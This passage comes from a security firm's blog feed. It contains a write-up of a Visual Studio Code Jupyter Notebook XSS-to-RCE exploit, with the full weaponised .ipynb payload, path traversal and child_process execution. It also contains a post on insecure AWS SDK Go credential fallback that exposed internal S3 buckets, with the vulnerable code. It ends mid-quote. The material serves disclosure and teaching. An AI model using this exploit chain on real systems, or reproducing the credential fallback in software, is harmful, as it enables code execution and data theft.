<p>The last stage of recruitment isn’t so much an interview but rather, more of a summary of the entire process. We want to talk to the candidate about their strengths, better understand their technical weaknesses and any mistakes they made during the previous steps in the process. In particular, we always like to distinguish errors that come from the lack of knowledge versus the result of time pressure. It’s a very positive sign when candidates who reach this stage have reflected upon the process and taken steps to improve in any areas they felt less comfortable with.</p>
<p>The last interview is always carried out by one of the founders of the company, so it’s a great opportunity to learn more about Doyensec. If someone reaches this stage of the recruitment process, it is highly likely that our company will make them an offer. Our offers are based on their expectations as well as what value they bring to the organization. The entire recruitment process is meant to guarantee that the employee will be satisfied with the work and meet the high standards Doyensec has for its team.</p>
<p>The entire recruitment process takes about 8 hours of actual time, which is only one working day, total. So, if the candidate is reactive, the entire recruitment process can usually be completed in about 2 weeks or less.</p>
<p>If you are looking for more information about working <a href="https://twitter.com/doyensec">@Doyensec</a>, visit <a href="https://doyensec.com/careers.html">our career page</a> and check out <a href="https://www.careers-page.com/doyensec-llc">our job openings</a>.</p>
<div style="text-align: center;">
<img src="../../../public/images/recruitment_process.png" title="Summary Recruiting Process" alt="Summary Recruiting Process" align="center" style="display: block; margin-left: auto; margin-right: auto; max-width: 400px;" />
</div>
Visual Studio Code Jupyter Notebook RCE2022-10-27T00:00:00+02:00https://blog.doyensec.com/2022/10/27/jupytervscode<p>I spared a few hours over the past weekend to look into the exploitation of this <a href="https://github.com/justinsteven/advisories/blob/master/2021_vscode_ipynb_xss_arbitrary_file_read.md">Visual Studio Code .ipynb Jupyter Notebook bug</a> discovered by <a href="https://twitter.com/justinsteven">Justin Steven</a> in August 2021.</p>
<p>Justin discovered a Cross-Site Scripting (XSS) vulnerability affecting the VSCode built-in support for Jupyter Notebook (<code class="language-plaintext highlighter-rouge">.ipynb</code>) files.</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="nl">"cells"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
</span><span class="p">{</span><span class="w">
</span><span class="nl">"cell_type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"code"</span><span class="p">,</span><span class="w">
</span><span class="nl">"execution_count"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
</span><span class="nl">"source"</span><span class="p">:</span><span class="w"> </span><span class="p">[],</span><span class="w">
</span><span class="nl">"outputs"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
</span><span class="p">{</span><span class="w">
</span><span class="nl">"output_type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"display_data"</span><span class="p">,</span><span class="w">
</span><span class="nl">"data"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="nl">"text/markdown"</span><span class="p">:</span><span class="w"> </span><span class="s2">"<img src=x onerror='console.log(1)'>"</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>His analysis details the issue and shows a proof of concept which reads arbitrary files from disk and then leaks their contents to a remote server, however it is not a complete RCE exploit.</p>
<blockquote>
<p>I could not find a way to leverage this XSS primitive to achieve arbitrary code execution, but someone more skilled with Electron exploitation may be able to do so. […]</p>
</blockquote>
<p>Given our focus on ElectronJs (and many other web technologies), I decided to look into potential exploitation venues.</p>
<p>As the first step, I took a look at the overall design of the application in order to identify the configuration of each <code class="language-plaintext highlighter-rouge">BrowserWindow/BrowserView/Webview</code> in use by VScode. Facilitated by <a href="https://get-electrong.com/">ElectroNG</a>, it is possible to observe that the application uses a single <code class="language-plaintext highlighter-rouge">BrowserWindow</code> with <code class="language-plaintext highlighter-rouge">nodeIntegration:on</code>.</p>
<div style="text-align: center;">
<img src="../../../public/images/electrongvscode.png" title="ElectroNG VScode" alt="ElectroNG VScode" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<p>This <code class="language-plaintext highlighter-rouge">BrowserWindow</code> loads content using the <code class="language-plaintext highlighter-rouge">vscode-file</code> protocol, which is similar to the <code class="language-plaintext highlighter-rouge">file</code> protocol. Unfortunately, our injection occurs in a nested sandboxed iframe as shown in the following diagram:</p>
<div style="text-align: center;">
<img src="../../../public/images/VScodeBrowserWindowDesign.png" title="VScode BrowserWindow Design" alt="VScode BrowserWindow Design" align="center" style="display: block; margin-left: auto; margin-right: auto; max-width: 500px;" />
</div>
<p>In particular, our <code class="language-plaintext highlighter-rouge">sandbox</code> iframe is created using the following attributes:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">allow</span><span class="o">-</span><span class="nx">scripts</span> <span class="nx">allow</span><span class="o">-</span><span class="nx">same</span><span class="o">-</span><span class="nx">origin</span> <span class="nx">allow</span><span class="o">-</span><span class="nx">forms</span> <span class="nx">allow</span><span class="o">-</span><span class="nx">pointer</span><span class="o">-</span><span class="nx">lock</span> <span class="nx">allow</span><span class="o">-</span><span class="nx">downloads</span>
</code></pre></div></div>
<p>By default, <code class="language-plaintext highlighter-rouge">sandbox</code> makes the browser treat the iframe as if it was coming from another origin, even if its <code class="language-plaintext highlighter-rouge">src</code> points to the same site. Thanks to the <code class="language-plaintext highlighter-rouge">allow-same-origin</code> attribute, this limitation is lifted. As long as the content loaded within the webview is also hosted on the local filesystem (within the app folder), we can access the <code class="language-plaintext highlighter-rouge">top</code> window. With that, we can simply execute code using something like <code class="language-plaintext highlighter-rouge">top.require('child_process').exec('open /System/Applications/Calculator.app');</code></p>
<p>So, <strong>how do we place our arbitrary HTML/JS content within the application install folder?</strong></p>
<p>Alternatively, <strong>can we reference resources outside that folder?</strong></p>
<p>The answer comes from a <a href="https://i.blackhat.com/USA-22/Thursday/US-22-Purani-ElectroVolt-Pwning-Popular-Desktop-Apps.pdf">recent presentation</a> I watched at the latest Black Hat USA 2022 briefings. In exploiting <a href="https://blog.electrovolt.io/posts/vscode-rce/">CVE-2021-43908</a>, <a href="https://twitter.com/TheGrandPew">TheGrandPew</a> and <a href="https://twitter.com/S1r1u5_">s1r1us</a> use a path traversal to load arbitrary files outside of VSCode installation path.</p>
<p><code class="language-plaintext highlighter-rouge">vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F/somefile.html</code></p>
<p>Similarly to their exploit, we can attempt to leverage a <code class="language-plaintext highlighter-rouge">postMessage</code>’s reply to leak the path of current user directory. In fact, our payload can be placed inside the malicious repository, together with the Jupyter Notebook file that triggers the XSS.</p>
<p>After a couple of hours of trial-and-error, I discovered that we can obtain a reference of the <code class="language-plaintext highlighter-rouge">img</code> tag triggering the XSS by forcing the execution during the <code class="language-plaintext highlighter-rouge">onload</code> event.</p>
<div style="text-align: center;">
<img src="../../../public/images/vscodepathleak.png" title="Path Leak VScode" alt="Path Leak VScode" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<p>With that, all of the ingredients are ready and I can finally assemble the final exploit.</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">apploc</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">/Applications/Visual Studio Code.app/Contents/Resources/app/</span><span class="dl">'</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="sr">/ /g</span><span class="p">,</span> <span class="dl">'</span><span class="s1">%20</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">repoloc</span><span class="p">;</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">top</span><span class="p">.</span><span class="nx">frames</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nx">onmessage</span> <span class="o">=</span> <span class="nx">event</span> <span class="o">=></span> <span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="nx">event</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">args</span><span class="p">.</span><span class="nx">contents</span> <span class="o">&&</span> <span class="nx">event</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">args</span><span class="p">.</span><span class="nx">contents</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="dl">'</span><span class="s1"><base href</span><span class="dl">'</span><span class="p">)){</span>
<span class="kd">var</span> <span class="nx">leakloc</span> <span class="o">=</span> <span class="nx">event</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">args</span><span class="p">.</span><span class="nx">contents</span><span class="p">.</span><span class="nx">match</span><span class="p">(</span><span class="dl">'</span><span class="s1"><base href=</span><span class="se">\</span><span class="s1">"(.*)</span><span class="se">\</span><span class="s1">"</span><span class="dl">'</span><span class="p">)[</span><span class="mi">1</span><span class="p">];</span>
<span class="kd">var</span> <span class="nx">repoloc</span> <span class="o">=</span> <span class="nx">leakloc</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="dl">'</span><span class="s1">https://file%2B.vscode-resource.vscode-webview.net</span><span class="dl">'</span><span class="p">,</span><span class="dl">'</span><span class="s1">vscode-file://vscode-app</span><span class="dl">'</span><span class="o">+</span><span class="nx">apploc</span><span class="o">+</span><span class="dl">'</span><span class="s1">..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">setTimeout</span><span class="p">(</span><span class="k">async</span><span class="p">()</span><span class="o">=></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">repoloc</span><span class="o">+</span><span class="dl">'</span><span class="s1">poc.html</span><span class="dl">'</span><span class="p">),</span> <span class="mi">3000</span><span class="p">)</span>
<span class="nx">location</span><span class="p">.</span><span class="nx">href</span><span class="o">=</span><span class="nx">repoloc</span><span class="o">+</span><span class="dl">'</span><span class="s1">poc.html</span><span class="dl">'</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">};</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">top</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="na">target</span><span class="p">:</span> <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="dl">'</span><span class="s1">/</span><span class="dl">'</span><span class="p">)[</span><span class="mi">2</span><span class="p">],</span><span class="na">channel</span><span class="p">:</span> <span class="dl">'</span><span class="s1">do-reload</span><span class="dl">'</span><span class="p">},</span> <span class="dl">'</span><span class="s1">*</span><span class="dl">'</span><span class="p">);</span>
</code></pre></div></div>
<p>To deliver this payload inside the <code class="language-plaintext highlighter-rouge">.ipynb</code> file we still need to overcome one last limitation: the current implementation results in a malformed JSON. The injection happens within a JSON file (double-quoted) and our Javascript payload contains quoted strings as well as double-quotes used as a delimiter for the regular expression that is extracting the path.</p>
<p>After a bit of tinkering, the easiest solution involves the backtick ` character instead of the quote for all JS strings.</p>
<p>The final <code class="language-plaintext highlighter-rouge">pocimg.ipynb</code> file looks like:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="nl">"cells"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
</span><span class="p">{</span><span class="w">
</span><span class="nl">"cell_type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"code"</span><span class="p">,</span><span class="w">
</span><span class="nl">"execution_count"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
</span><span class="nl">"source"</span><span class="p">:</span><span class="w"> </span><span class="p">[],</span><span class="w">
</span><span class="nl">"outputs"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
</span><span class="p">{</span><span class="w">
</span><span class="nl">"output_type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"display_data"</span><span class="p">,</span><span class="w">
</span><span class="nl">"data"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="nl">"text/markdown"</span><span class="p">:</span><span class="w"> </span><span class="s2">"<img src='a445fff1d9fd4f3fb97b75202282c992.png' onload='var apploc = `/Applications/Visual Studio Code.app/Contents/Resources/app/`.replace(/ /g, `%20`);var repoloc;window.top.frames[0].onmessage = event => {if(event.data.args.contents && event.data.args.contents.includes(`<base href`)){var leakloc = event.data.args.contents.match(`<base href=</span><span class="se">\"</span><span class="s2">(.*)</span><span class="se">\"</span><span class="s2">`)[1];var repoloc = leakloc.replace(`https://file%2B.vscode-resource.vscode-webview.net`,`vscode-file://vscode-app`+apploc+`..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..`);setTimeout(async()=>console.log(repoloc+`poc.html`), 3000);location.href=repoloc+`poc.html`;}};window.top.postMessage({target: window.location.href.split(`/`)[2],channel: `do-reload`}, `*`);'>"</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>By opening a malicious repository with this file, we can finally trigger our code execution.</p>
<div style="text-align: center;">
<video controls="" src="../../../public/images/VScodeJupyterRCE.mp4" title="ElectroNG Product Demo" autoplay="" muted="" loop="true" playsinline="" align="center" style="max-width: 100%; padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto;" poster="../../../public/images/VScodeJupyterRCE.png"></video>
</div>
<p><br />
The built-in Jupyter Notebook extension opts out of the protections given by the <em>Workspace Trust</em> feature introduced in Visual Studio Code 1.57, hence no further user interaction is required. For the record, this issue was fixed in VScode 1.59.1 and Microsoft assigned <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26437">CVE-2021-26437</a> to it.</p>
The Danger of Falling to System Role in AWS SDK Client2022-10-18T00:00:00+02:00https://blog.doyensec.com/2022/10/18/cloudsectidbit-dataimport<p>
<center><img src="../../../public/images/cloudsectidbit-logo200.png" alt="CloudsecTidbit" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 500px;" /></center>
</p>
<h2 id="introduction-to-the-series">Introduction to the series</h2>
<p>When it comes to Cloud Security, the first questions usually asked are:</p>
<ul>
<li>How is the infrastructure configured?</li>
<li>Are there any public buckets?</li>
<li>Are the VPC networks isolated?</li>
<li>Does it use proper IAM settings?</li>
</ul>
<p>As application security engineers, we think that there are more interesting and context-related questions such as:</p>
<ul>
<li>Which services provided by the cloud vendor are used?</li>
<li>Among the used services, which ones are directly integrated within the web platform logic?</li>
<li>How is the web application using such services?</li>
<li>How are they combined to support the internal logic?</li>
<li>Is the usage of services ever exposed or reachable by the end-user?</li>
<li>Are there any unintended behaviors caused by cloud services within the web platform?</li>
</ul>
<p>By answering these questions, <strong>we usually find bugs</strong>.</p>
<p>Today we introduce the “<strong>CloudSecTidbits</strong>” series to share ideas and knowledge about such questions.</p>
<p>CloudSec Tidbits is a blogpost series showcasing interesting bugs found by Doyensec during cloud security testing activities. We’ll focus on times when the cloud infrastructure is properly configured, but the web application fails to use the services correctly.</p>
<p>Each blogpost will discuss a specific vulnerability resulting from an insecure combination of web and cloud related technologies. Every article will include an <a href="https://github.com/doyensec/cloudsec-tidbits/">Infrastructure as Code (IaC) laboratory</a> that can be easily deployed to experiment with the described vulnerability.</p>
<h2 id="tidbit--1---the-danger-of-falling-to-system-role-in-aws-sdk-client">Tidbit # 1 - The Danger of Falling to System Role in AWS SDK Client</h2>
<p>Amazon Web Services offers a comprehensive SDK to interact with their cloud services.</p>
<p>Let’s first examine how credentials are configured. The AWS SDKs require users to pass access / secret keys in order to authenticate requests to AWS. Credentials can be specified in different ways, depending on the different use cases.</p>
<p>When the AWS client is initialized without directly providing the credential’s source, the AWS SDK acts using a clearly defined logic. The AWS SDK uses a different credential provider chain depending on the base language. The credential provider chain is an ordered list of sources where the AWS SDK will attempt to fetch credentials from. The first provider in the chain that returns credentials without an error will be used.</p>
<p>For example, the SDK for the Go language will use the following chain:</p>
<ol>
<li>1) Environment variables</li>
<li>2) Shared credentials file</li>
<li>3) If the application uses ECS task definition or RunTask API operation, IAM role for tasks</li>
<li>4) If the application is running on an Amazon EC2 instance, IAM role for Amazon EC2</li>
</ol>
<p>The code snippet below shows how the SDK retrieves the first valid credential provider:</p>
<p>Source: <a href="https://github.com/aws/aws-sdk-go/blob/bef02444773a49eaf30cdd615920b56896827c06/aws/credentials/chain_provider.go#L67" target="_blank">aws-sdk-go/aws/credentials/chain_provider.go</a></p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">// Retrieve returns the credentials value or error if no provider returned</span>
<span class="c">// without error.</span>
<span class="c">//</span>
<span class="c">// If a provider is found it will be cached and any calls to IsExpired()</span>
<span class="c">// will return the expired state of the cached provider.</span>
<span class="k">func</span> <span class="p">(</span><span class="n">c</span> <span class="o">*</span><span class="n">ChainProvider</span><span class="p">)</span> <span class="n">Retrieve</span><span class="p">()</span> <span class="p">(</span><span class="n">Value</span><span class="p">,</span> <span class="kt">error</span><span class="p">)</span> <span class="p">{</span>
<span class="k">var</span> <span class="n">errs</span> <span class="p">[]</span><span class="kt">error</span>
<span class="k">for</span> <span class="n">_</span><span class="p">,</span> <span class="n">p</span> <span class="o">:=</span> <span class="k">range</span> <span class="n">c</span><span class="o">.</span><span class="n">Providers</span> <span class="p">{</span>
<span class="n">creds</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">p</span><span class="o">.</span><span class="n">Retrieve</span><span class="p">()</span>
<span class="k">if</span> <span class="n">err</span> <span class="o">==</span> <span class="no">nil</span> <span class="p">{</span>
<span class="n">c</span><span class="o">.</span><span class="n">curr</span> <span class="o">=</span> <span class="n">p</span>
<span class="k">return</span> <span class="n">creds</span><span class="p">,</span> <span class="no">nil</span>
<span class="p">}</span>
<span class="n">errs</span> <span class="o">=</span> <span class="nb">append</span><span class="p">(</span><span class="n">errs</span><span class="p">,</span> <span class="n">err</span><span class="p">)</span>
<span class="p">}</span>
<span class="n">c</span><span class="o">.</span><span class="n">curr</span> <span class="o">=</span> <span class="no">nil</span>
<span class="k">var</span> <span class="n">err</span> <span class="kt">error</span>
<span class="n">err</span> <span class="o">=</span> <span class="n">ErrNoValidProvidersFoundInChain</span>
<span class="k">if</span> <span class="n">c</span><span class="o">.</span><span class="n">VerboseErrors</span> <span class="p">{</span>
<span class="n">err</span> <span class="o">=</span> <span class="n">awserr</span><span class="o">.</span><span class="n">NewBatchError</span><span class="p">(</span><span class="s">"NoCredentialProviders"</span><span class="p">,</span> <span class="s">"no valid providers in chain"</span><span class="p">,</span> <span class="n">errs</span><span class="p">)</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">Value</span><span class="p">{},</span> <span class="n">err</span>
<span class="p">}</span>
</code></pre></div></div>
<p>After that first look at AWS SDK credentials, we can jump straight to the tidbit case.</p>
<h3 id="insecure-aws-sdk-client-initialization-in-user-facing-functionalities---the-import-from-s3-case">Insecure AWS SDK Client Initialization In User Facing Functionalities - The Import From S3 Case</h3>
<p>By testing several web platforms, we noticed that data import from external cloud services is an often recurring functionality. For example, some web platforms allow data import from third-party cloud storage services (e.g., AWS S3).</p>
<p>In this specific case, we will focus on a vulnerability identified in a web application that was using the AWS SDK for Go (v1) to implement an “Import Data From S3” functionality.</p>
<p>The user was able to make the platform fetch data from S3 by providing the following inputs:</p>
<ul>
<li>
<p>S3 bucket name - Import from public source case;</p>
<p><strong>OR</strong></p>
</li>
<li>
<p>S3 bucket name + AWS Credentials - Import from private source case;</p>
</li>
</ul>
<p>The code paths were handled by a function similar to the following structure:</p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">func</span> <span class="n">getObjectsList</span><span class="p">(</span><span class="n">session</span> <span class="o">*</span><span class="n">Session</span><span class="p">,</span> <span class="n">config</span> <span class="o">*</span><span class="n">aws</span><span class="o">.</span><span class="n">Config</span><span class="p">,</span> <span class="n">bucket_name</span> <span class="kt">string</span><span class="p">){</span>
<span class="c">//initilize or re-initilize the S3 client</span>
<span class="n">S3svc</span> <span class="o">:=</span> <span class="n">s3</span><span class="o">.</span><span class="n">New</span><span class="p">(</span><span class="n">session</span><span class="p">,</span> <span class="n">config</span><span class="p">)</span>
<span class="n">objectsList</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">S3svc</span><span class="o">.</span><span class="n">ListObjectsV2</span><span class="p">(</span><span class="o">&</span><span class="n">s3</span><span class="o">.</span><span class="n">ListObjectsV2Input</span><span class="p">{</span>
<span class="n">Bucket</span><span class="o">:</span> <span class="n">bucket_name</span>
<span class="p">})</span>
<span class="k">return</span> <span class="n">objectsList</span><span class="p">,</span> <span class="n">err</span>
<span class="p">}</span>
<span class="k">func</span> <span class="n">importData</span><span class="p">(</span><span class="n">req</span> <span class="o">*</span><span class="n">http</span><span class="o">.</span><span class="n">Request</span><span class="p">)</span> <span class="p">(</span><span class="n">success</span> <span class="kt">bool</span><span class="p">)</span> <span class="p">{</span>
<span class="n">srcConfig</span> <span class="o">:=</span> <span class="o">&</span><span class="n">aws</span><span class="o">.</span><span class="n">Config</span><span class="p">{</span>
<span class="n">Region</span><span class="o">:</span> <span class="o">&</span><span class="n">config</span><span class="o">.</span><span class="n">Config</span><span class="o">.</span><span class="n">AWS</span><span class="o">.</span><span class="n">Region</span><span class="p">,</span>
<span class="p">}</span>
<span class="n">req</span><span class="o">.</span><span class="n">ParseForm</span><span class="p">()</span>
<span class="n">bucket_name</span> <span class="o">:=</span> <span class="n">req</span><span class="o">.</span><span class="n">Form</span><span class="o">.</span><span class="n">Get</span><span class="p">(</span><span class="s">"bucket_name"</span><span class="p">)</span>
<span class="n">accessKey</span> <span class="o">:=</span> <span class="n">req</span><span class="o">.</span><span class="n">Form</span><span class="o">.</span><span class="n">Get</span><span class="p">(</span><span class="s">"access_key"</span><span class="p">)</span>
<span class="n">secretKey</span> <span class="o">:=</span> <span class="n">req</span><span class="o">.</span><span class="n">Form</span><span class="o">.</span><span class="n">Get</span><span class="p">(</span><span class="s">"secret_key"</span><span class="p">)</span>
<span class="n">region</span> <span class="o">:=</span> <span class="n">req</span><span class="o">.</span><span class="n">Form</span><span class="o">.</span><span class="n">Get</span><span class="p">(</span><span class="s">"region"</span><span class="p">)</span>
<span class="n">session_init</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">session</span><span class="o">.</span><span class="n">NewSession</span><span class="p">()</span>
<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
<span class="k">return</span> <span class="n">err</span><span class="p">,</span> <span class="no">nil</span>
<span class="p">}</span>
<span class="n">aws_config</span> <span class="o">=</span> <span class="o">&</span><span class="n">aws</span><span class="o">.</span><span class="n">Config</span><span class="p">{</span>
<span class="n">Region</span><span class="o">:</span> <span class="n">region</span><span class="p">,</span>
<span class="p">}</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">accessKey</span><span class="p">)</span> <span class="o">></span> <span class="m">0</span> <span class="p">{</span>
<span class="n">aws_config</span><span class="o">.</span><span class="n">Credentials</span> <span class="o">=</span> <span class="n">credentials</span><span class="o">.</span><span class="n">NewStaticCredentials</span><span class="p">(</span><span class="n">accessKey</span><span class="p">,</span> <span class="n">secretKey</span><span class="p">,</span> <span class="s">""</span><span class="p">)</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">aws_config</span><span class="o">.</span><span class="n">Credentials</span> <span class="o">=</span> <span class="n">credentials</span><span class="o">.</span><span class="n">AnonymousCredentials</span>
<span class="p">}</span>
<span class="n">objectList</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">getObjectsList</span><span class="p">(</span><span class="n">session_init</span><span class="p">,</span> <span class="n">aws_config</span><span class="p">,</span> <span class="n">bucket_name</span><span class="p">)</span>
<span class="o">...</span>
</code></pre></div></div>
<p>Despite using <code class="language-plaintext highlighter-rouge">credentials.AnonymousCredentials</code> when the user was not providing keys, the function had an interesting code path when <code class="language-plaintext highlighter-rouge">ListObjectsV2</code> returned errors:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>...
if err != nil {
if err, awsError := err.(awserr.Error); awsError {
aws_config.credentials = nil
getObjectsList(session_init, aws_config, bucket_name)
}
}
</code></pre></div></div>
<p>The error handling was setting <code class="language-plaintext highlighter-rouge">aws_config.credentials = nil</code> and trying again to list the objects in the bucket.</p>
<p>
<center><img style="width: 50%;" src="/public/images/cloudsectidbit-fry.png" alt="" />
<em>Looking at <code>aws_config.credentials = nil</code></em></center>
</p>
<p>Under those circumstances, the credentials provider chain will be used and eventually the instance’s IAM role will be assumed. In our case, the automatically retrieved credentials had full access to internal S3 buckets.</p>
<h3 id="the-simple-deduction">The Simple Deduction</h3>
<p>If internal S3 bucket names are exposed to the end-user by the platform (e.g., via network traffic), the user can use them as input for the “import from S3” functionality and inspect their content directly in the UI.</p>
<p>
<center><img style="width: 50%;" src="/public/images/cloudsectidbit-spongebob.jpeg" alt="" />
<em>Reading internal bucket names list extracted from Burp Suite history</em></center>
</p>
<p>In fact, it is not uncommon to see internal bucket names in an application’s traffic as they are often used for internal data processing. In conclusion, providing internal bucket names resulted in them being fetched from the import functionality and added to the platform user’s data.</p>
<h3 id="different-client-credentials-initialization-different-outcomes">Different Client Credentials Initialization, Different Outcomes</h3>
<p>AWS SDK clients require a <code class="language-plaintext highlighter-rouge">Session</code> object containing a <code class="language-plaintext highlighter-rouge">Credential</code> object for the initialization.</p>
<p>Described below are the three main ways to set the credentials needed by the client:</p>
<h4 id="newstaticcredentials">NewStaticCredentials</h4>
<p>Within the credentials package, the <code class="language-plaintext highlighter-rouge">NewStaticCredentials</code> function returns a pointer to a new <code class="language-plaintext highlighter-rouge">Credentials</code> object wrapping static credentials.</p>
<p>Client initialization example with <code class="language-plaintext highlighter-rouge">NewStaticCredentials</code>:</p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">package</span> <span class="n">testing</span>
<span class="k">import</span> <span class="p">(</span>
<span class="s">"time"</span>
<span class="s">"github.com/aws/aws-sdk-go/aws"</span>
<span class="s">"github.com/aws/aws-sdk-go/aws/credentials"</span>
<span class="s">"github.com/aws/aws-sdk-go/aws/session"</span>
<span class="p">)</span>
<span class="k">var</span> <span class="n">session</span> <span class="o">=</span> <span class="n">session</span><span class="o">.</span><span class="n">Must</span><span class="p">(</span><span class="n">session</span><span class="o">.</span><span class="n">NewSession</span><span class="p">(</span><span class="o">&</span><span class="n">aws</span><span class="o">.</span><span class="n">Config</span><span class="p">{</span>
<span class="n">Credentials</span><span class="o">:</span> <span class="n">credentials</span><span class="o">.</span><span class="n">NewStaticCredentials</span><span class="p">(</span><span class="s">"AKIA…."</span><span class="p">,</span> <span class="s">"Secret"</span><span class="p">,</span> <span class="s">"Session"</span><span class="p">),</span>
<span class="n">Region</span><span class="o">:</span> <span class="n">aws</span><span class="o">.</span><span class="n">String</span><span class="p">(</span><span class="s">"us-east-1"</span><span class="p">),</span>
<span class="p">}))</span>
</code></pre></div></div>
<p>Note: The credentials should not be hardcoded in code. Instead retrieve them from a secure vault at runtime.</p>
<h4 id="-nil--unspecified--credentials-object">{ nil | Unspecified } Credentials Object</h4>
<p>If the session client is initialized without specifying a credential object, the credential provider chain will be used. Likewise, if the <code class="language-plaintext highlighter-rouge">Credentials</code> object is directly initialized to <code class="language-plaintext highlighter-rouge">nil</code>, the same behavior will occur.</p>
<p>Client initialization example without <code class="language-plaintext highlighter-rouge">Credential</code> object:</p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">svc</span> <span class="o">:=</span> <span class="n">s3</span><span class="o">.</span><span class="n">New</span><span class="p">(</span><span class="n">session</span><span class="o">.</span><span class="n">Must</span><span class="p">(</span><span class="n">session</span><span class="o">.</span><span class="n">NewSession</span><span class="p">(</span><span class="o">&</span><span class="n">aws</span><span class="o">.</span><span class="n">Config</span><span class="p">{</span>
<span class="n">Region</span><span class="o">:</span> <span class="n">aws</span><span class="o">.</span><span class="n">String</span><span class="p">(</span><span class="s">"us-west-2"</span><span class="p">),</span>
<span class="p">})))</span>
</code></pre></div></div>
<p>Client initialization example with a <code class="language-plaintext highlighter-rouge">nil</code> valued <code class="language-plaintext highlighter-rouge">Credential</code> object:</p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">svc</span> <span class="o">:=</span> <span class="n">s3</span><span class="o">.</span><span class="n">New</span><span class="p">(</span><span class="n">session</span><span class="o">.</span><span class="n">Must</span><span class="p">(</span><span class="n">session</span><span class="o">.</span><span class="n">NewSession</span><span class="p">(</span><span class="o">&</span><span class="n">aws</span><span class="o">.</span><span class="n">Config</span><span class="p">{</span>
<span class="n">Credentials</span><span class="o">:</span> <span class="o"><</span><span class="n">nil_object</span><span class="o">></span><span class="p">,</span>
<span class="n">Region</span><span class="o">:</span> <span class="n">aws</span><span class="o">.</span><span class="n">String</span><span class="p">(</span><span class="s">"us-west-2"</span><span class="p">),</span>
<span class="p">})))</span>
</code></pre></div></div>
<p><strong>Outcome</strong>: Both initialization methods will result in relying on the credential provider chain. Hence, the credentials (probably very privileged) retrieved from the chain will be used. As shown in the aforementioned “Import From S3” case study, not being aware of such behavior led to the exfiltration of internal buckets.</p>
<h4 id="anonymouscredentials">AnonymousCredentials</h4>
<p>The right function for the right tasks ;)</p>
<p>AWS SDK for <a href="https://docs.aws.amazon.com/sdk-for-go/api/aws/credentials/#pkg-variables" target="_blank">Go API Reference</a> is here to help:</p>
<blockquote>
